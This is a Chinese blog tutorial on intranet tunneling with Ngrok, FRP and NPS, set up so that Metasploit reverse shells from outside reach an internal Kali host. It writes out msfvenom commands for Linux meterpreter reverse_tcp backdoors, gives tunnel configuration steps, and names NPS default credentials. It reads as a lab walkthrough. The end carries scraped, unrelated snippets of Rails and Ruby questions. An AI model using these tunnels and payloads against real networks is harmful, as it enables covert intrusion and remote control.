jjzjj

内网安全-隧道搭建&穿透上线&FRP&NPS&Ngrok

@墨竹 2024-01-05 原文

目录

环境介绍

内网穿透-Ngrok-入门-上线--tcp协议

内网穿透-Frp-简易型-上线

内网穿透-Nps-自定义-上线 


环境介绍

实验目的:让msf上线外网,通常情况下,内网可以访问外网,但是外网无法访问到内网,所以外网的木马通常情况下不可能链接到内网。

红色的云作为跳板机,通过隧道进行实现,让内网与跳板机进行通信,外网连接内网,从而实现外网将木马转入内网,实现上线

 

内网穿透-Ngrok-入门-上线--tcp协议

流程:配置Ngrok——>实现Ngrok与内网通信——>外网执行脚本上线

该实验用的是ngrok工具,访问之后直接注册账号使用即可

本次实验用的tcp隧道,设置远程链接端口为10123,本地端口为kali的地址和端口

工具链接: Ngrok

 

 

可以看到会生成一个域名,那么可以理解为当外网访问这个域名和端口时,就会将信息转交给内网的kali地址和端口从而实现上线 

 

 

所以说目前的重点是实现,内网的kali与Ngrok进行通信,这样外网访问Ngrok时才能顺利的将信息传递到内网。

在客户端下载的位置,下载对应的通信脚本,因为kali是linux版本,所以小编下的也是linux版本。

 

将下载的脚本放入kali中,利用命令执行脚本与Ngrok建立通信,查看ngrok页面也发现ip上线

命令:./sunny clientid 隧道id

 

现在kali已经和Ngrok平台建立了通信,接下来只要生成木马,放在外网执行,执行后会通过Ngrok转发到内网的kali中,从而实现上线

注意:

1、生成格式:小编生成的linux后门脚本,所以为elf结尾文件

2、msf56生成linux木马命令不一样

Msf5msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=8888 -f elf > mshell.elf

Msf6:msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=8888 -f elf > mshell.elf

3、地址和端口为隧道的地址和端口,因为当外网无法访问到内网,但是可以访问到隧道,那么后门访问隧道的域名和端口,在通过之前的设置转发给内网地址实现上线

 

将生成的木马放到外网服务器中

 

kali中开启监听,监听本地的3333端口,因为之前隧道设置了访问隧道的数据会转发到本地的3333端口,所以只需要监听3333端口

在服务器中为脚本赋予权限,执行即可上线

 

 

内网穿透-Frp-简易型-上线

流程:配置frp客户端与服务端实现通信——>生成后门脚本——>上线

对于Ngrok来说,Frp的有点在于更好的保护隐私,Ngrok毕竟是人家的平台,信息很有可能被窃听。但是Frp可以以自己的外网服务器为平台,可以一定的保证信息的安全性。

注意:Frp文件分为服务端和客户端,外网为服务端,内网为客户端。

在外网开启服务端,利用cat可以查看frps.ini文件(服务端的配置文件),发现监听的是7000端口,开启frps服务(frp文件中frps代表服务端,frpc代表客户端),显示成功监听7000端口 

查看配置文件:cat frps.ini

开启服务:./frps

 

在kali的查看frpc.ini文件(客户端配置文件)

[common]

server_addr:服务端IP

server_port:服务端端口

[ssh]

type:连接类型

local_ip:本地地址

local_port:数据转发到本地的端口

remote_port:接受数据的端口

ssh配置6000端口的数据会转发到本地的5555端口,代表访问6000端口的信息都会发送到本地的5555端口,7000端口代表与服务器进行通信的端口。

本地kali为客户端,地址为外网地址和端口,成功建立连接

注意:如何是刚买的外网服务器,记得在控制台开防火墙的7000端口

 

 

生成后门脚本,地址为外网地址,端口为6000,并监听本地5555端口。

后门生成的ip为frp服务端的ip,因为外网可以访问frp服务端,通过服务端转发到客户端。

端口为6000,因为上面设置了6000端口的数据会转发给kali的5555端口,所以后门脚本的数据要从服务端的6000端口发送

监听本地5555端口,因为上面设置了会将6000端口的数据全部转发到5555端口,所以监听端口为5555

 

用另外一台外网服务器执行后门脚本,成功上线kali

 

 

内网穿透-Nps-自定义-上线 

小编感觉Nps还是非常好用的,不仅弥补了Ngrok容易信息泄露的缺点,而且还是个图形化界面,功能也多,yyds。

Nps依旧是分为客户端和服务端,依旧是外网为服务端,内网kali为客户端

将服务端文件放入外网服务器中,用命令安装nps

安装:./nps install

 

开启nps服务,如果端口被占用记得关闭啊。

访问服务端的8080端口可以发现存在登录页面,初始账号密码为admin/123

 

 

 

 

登录进去之后,在客户端中新增一条规则,并新增一条隧道,tcp协议,服务端口为访问的端口,目标为服务端口的映射,不写ip默认为本地(端口一定要写)

所以可以理解为是将6000端口的数据都会同意转发到kali IP的5555端口,那么在生成后门时自然端口就要是6000端口。

秘钥:一会客户端用

 

 

 

 

让本地的kali作为客户端,下载客户端的文件,利用npc文件去链接服务端(注意:此处链接端口为8024),在输入秘钥即可

 

 

 生成后门,端口和ip都为服务端

 

 

将脚本放入另外一个外网中,执行即可上线

 

 

 

有关内网安全-隧道搭建&穿透上线&FRP&NPS&Ngrok的更多相关文章

  1. ruby-on-rails - rails : "missing partial" when calling 'render' in RSpec test - 2

    我正在尝试测试是否存在表单。我是Rails新手。我的new.html.erb_spec.rb文件的内容是:require'spec_helper'describe"messages/new.html.erb"doit"shouldrendertheform"dorender'/messages/new.html.erb'reponse.shouldhave_form_putting_to(@message)with_submit_buttonendendView本身,new.html.erb,有代码:当我运行rspec时,它失败了:1)messages/new.html.erbshou

  2. ruby-on-rails - 由于 "wkhtmltopdf",PDFKIT 显然无法正常工作 - 2

    我在从html页面生成PDF时遇到问题。我正在使用PDFkit。在安装它的过程中,我注意到我需要wkhtmltopdf。所以我也安装了它。我做了PDFkit的文档所说的一切......现在我在尝试加载PDF时遇到了这个错误。这里是错误:commandfailed:"/usr/local/bin/wkhtmltopdf""--margin-right""0.75in""--page-size""Letter""--margin-top""0.75in""--margin-bottom""0.75in""--encoding""UTF-8""--margin-left""0.75in""-

  3. ruby-on-rails - 'compass watch' 是如何工作的/它是如何与 rails 一起使用的 - 2

    我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t

  4. ruby-on-rails - 如何从 format.xml 中删除 <hash></hash> - 2

    我有一个对象has_many应呈现为xml的子对象。这不是问题。我的问题是我创建了一个Hash包含此数据,就像解析器需要它一样。但是rails自动将整个文件包含在.........我需要摆脱type="array"和我该如何处理?我没有在文档中找到任何内容。 最佳答案 我遇到了同样的问题;这是我的XML:我在用这个:entries.to_xml将散列数据转换为XML,但这会将条目的数据包装到中所以我修改了:entries.to_xml(root:"Contacts")但这仍然将转换后的XML包装在“联系人”中,将我的XML代码修改为

  5. ruby - 检查 "command"的输出应该包含 NilClass 的意外崩溃 - 2

    为了将Cucumber用于命令行脚本,我按照提供的说明安装了arubagem。它在我的Gemfile中,我可以验证是否安装了正确的版本并且我已经包含了require'aruba/cucumber'在'features/env.rb'中为了确保它能正常工作,我写了以下场景:@announceScenario:Testingcucumber/arubaGivenablankslateThentheoutputfrom"ls-la"shouldcontain"drw"假设事情应该失败。它确实失败了,但失败的原因是错误的:@announceScenario:Testingcucumber/ar

  6. ruby-on-rails - Rails 3.2.1 中 ActionMailer 中的未定义方法 'default_content_type=' - 2

    我在我的项目中添加了一个系统来重置用户密码并通过电子邮件将密码发送给他,以防他忘记密码。昨天它运行良好(当我实现它时)。当我今天尝试启动服务器时,出现以下错误。=>BootingWEBrick=>Rails3.2.1applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Callwith-dtodetach=>Ctrl-CtoshutdownserverExiting/Users/vinayshenoy/.rvm/gems/ruby-1.9.3-p0/gems/actionmailer-3.2.1/lib/action_mailer

  7. ruby-on-rails - 如何优雅地重启 thin + nginx? - 2

    我的瘦服务器配置了nginx,我的ROR应用程序正在它们上运行。在我发布代码更新时运行thinrestart会给我的应用程序带来一些停机时间。我试图弄清楚如何优雅地重启正在运行的Thin实例,但找不到好的解决方案。有没有人能做到这一点? 最佳答案 #Restartjustthethinserverdescribedbythatconfigsudothin-C/etc/thin/mysite.ymlrestartNginx将继续运行并代理请求。如果您将Nginx设置为使用多个上游服务器,例如server{listen80;server

  8. ruby - 在 jRuby 中使用 'fork' 生成进程的替代方案? - 2

    在MRIRuby中我可以这样做:deftransferinternal_server=self.init_serverpid=forkdointernal_server.runend#Maketheserverprocessrunindependently.Process.detach(pid)internal_client=self.init_client#Dootherstuffwithconnectingtointernal_server...internal_client.post('somedata')ensure#KillserverProcess.kill('KILL',

  9. ruby - 主要 :Object when running build from sublime 的未定义方法 `require_relative' - 2

    我已经从我的命令行中获得了一切,所以我可以运行rubymyfile并且它可以正常工作。但是当我尝试从sublime中运行它时,我得到了undefinedmethod`require_relative'formain:Object有人知道我的sublime设置中缺少什么吗?我正在使用OSX并安装了rvm。 最佳答案 或者,您可以只使用“require”,它应该可以正常工作。我认为“require_relative”仅适用于ruby​​1.9+ 关于ruby-主要:Objectwhenrun

  10. ruby - 如何使用 Ruby aws/s3 Gem 生成安全 URL 以从 s3 下载文件 - 2

    我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A

随机推荐